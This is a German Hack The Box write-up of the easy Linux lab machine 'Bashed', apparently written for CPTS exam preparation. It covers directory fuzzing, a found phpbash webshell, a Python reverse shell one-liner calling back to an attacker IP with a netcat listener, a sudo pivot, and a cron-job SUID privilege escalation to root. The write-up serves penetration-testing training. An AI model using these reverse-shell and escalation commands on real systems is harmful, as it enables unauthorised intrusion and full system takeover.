← Zurück zu Machines

HTB · published

Bashed

Hack The Box CPTS-Roadmap Writeup für Bashed: Web-Fuzzing, phpbash Foothold, sudo Pivot zu scriptmanager und Cronjob Privilege Escalation.

HTBRoadmap CPTSWriteupLinuxWebCronMachine

Metadaten

  • Name: Bashed
  • IP Address: 10.129.242.91
  • Plattform: Linux
  • Kategorie: Web / Fuzzing / Webshell / Cron PrivEsc
  • Schwierigkeit: Easy
  • Ziel(e): User, Root
  • Kurzbeschreibung: Bashed ist eine Easy-Linux-Maschine, bei der der Einstieg über Web-Enumeration gelingt. Durch Fuzzing wird ein /dev-Verzeichnis gefunden, in dem phpbash.php liegt. Diese Webshell liefert Zugriff als www-data. Über eine sudo-Misskonfiguration wird zu scriptmanager gewechselt. Ein von Root ausgeführter Cronjob in /scripts erlaubt anschließend Privilege Escalation zu Root.

Reconnaissance / Enumeration

Der initiale Full-Port-Scan zeigte nur einen offenen Port:

nmap -p- --min-rate 10000 -T4 -v -n -oN 10.129.242.91-initial.nmap 10.129.242.91
PORT   STATE SERVICE
80/tcp open  http

Damit war der Webserver der klare Fokus.

Web Enumeration

Die Verzeichnisse wurden mit ffuf enumeriert:

ffuf -u http://10.129.242.91/FUZZ \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt \
  -t 50 \
  -mc 200,301,302

Interessante Treffer:

images                  [Status: 301]
css                     [Status: 301]
uploads                 [Status: 301]
js                      [Status: 301]
dev                     [Status: 301]
php                     [Status: 301]
fonts                   [Status: 301]

Der wichtigste Fund war:

/dev

In diesem Verzeichnis lag phpbash.php:

/dev/phpbash.php
/dev/phpbash.min.php

phpbash.php ist eine PHP-Webshell und ermöglichte direkt Command Execution im Browser.

Foothold

Über phpbash.php wurde zunächst geprüft, welcher Benutzer die Shell ausführt:

www-data@bashed:/var/www/html/dev# whoami
www-data

Damit war der initiale Zugriff als Webserver-User vorhanden.

Für eine stabilere Shell wurde ein Listener gestartet:

nc -lvnp 1337

Auf dem Ziel wurde über die Webshell eine Python-Reverse-Shell ausgeführt:

export RHOST="10.10.14.118";export RPORT=1337;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Eingehende Verbindung:

listening on [any] 1337 ...
connect to [10.10.14.118] from (UNKNOWN) [10.129.242.91] 57632
$ whoami
www-data

User Flag

Die User-Flag lag im Home-Verzeichnis von arrexel und war für www-data lesbar:

cat /home/arrexel/user.txt
7e4af[REDACTED-USER-FLAG]45ad

Lateral Movement zu scriptmanager

Die sudo-Rechte von www-data waren der nächste wichtige Fund:

sudo -l
User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Damit konnte www-data ohne Passwort Befehle als scriptmanager ausführen.

Userwechsel:

sudo -u scriptmanager /bin/bash

Proof:

scriptmanager@bashed:/tmp$ whoami
scriptmanager

Privilege Escalation Enumeration

Im Root-Verzeichnis fiel ein interessantes Verzeichnis auf:

ls -al /
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 scripts

Das Verzeichnis /scripts gehörte scriptmanager und war für diesen Benutzer beschreibbar.

Inhalt:

ls /scripts
test.py
test.txt

test.py:

sudo -u scriptmanager cat /scripts/test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

Das Muster deutete auf einen Root-Cronjob hin, der regelmäßig /scripts/test.py ausführt und dabei test.txt schreibt.

Privilege Escalation zu Root

Da scriptmanager die Datei /scripts/test.py ändern konnte und der Cronjob sie offenbar als Root ausführte, wurde die Datei überschrieben.

Ziel: /bin/bash mit SUID-Bit versehen.

echo 'import os; os.system("chmod u+s /bin/bash")' | sudo -u scriptmanager tee /scripts/test.py

Nach kurzer Wartezeit lief der Cronjob und setzte das SUID-Bit auf /bin/bash.

Root-Shell:

/bin/bash -p

Proof:

bash-4.3# whoami
root

Root Flag

cat /root/root.txt
d4b49[REDACTED-ROOT-FLAG]e87a

Post-Exploitation

  • Foothold: phpbash.php unter /dev.
  • User: Zugriff als www-data; User-Flag in /home/arrexel/user.txt.
  • Lateral Movement: sudo -u scriptmanager durch NOPASSWD-Regel.
  • Root: Schreibbares /scripts/test.py, das von Root per Cron ausgeführt wurde.
  • Root-Flag: /root/root.txt.

Lessons Learned

  • Fuzzing lohnt sich: Der entscheidende Einstieg war ein verstecktes /dev-Verzeichnis.
  • Webshells sind oft nur der Anfang: phpbash.php lieferte Command Execution, eine Reverse Shell machte die Arbeit stabiler.
  • sudo -l immer prüfen: Die NOPASSWD-Regel für scriptmanager war der Pivot.
  • Cronjobs sind PrivEsc-Gold: Wenn Root ein Script ausführt, das ein anderer Benutzer schreiben kann, ist Root meist nur eine Frage der Payload.
  • Dateirechte lesen: /scripts war durch Owner und Rechte der klare Hinweis auf den nächsten Schritt.

Notizen

Bashed ist eine sehr gute CPTS-Roadmap-Maschine für Web-Enumeration und Linux-Privilege-Escalation-Grundlagen: Verzeichnis-Fuzzing, Webshell, Shell-Stabilisierung, sudo -l, Dateirechte und Cronjob-Missbrauch greifen hier sauber ineinander.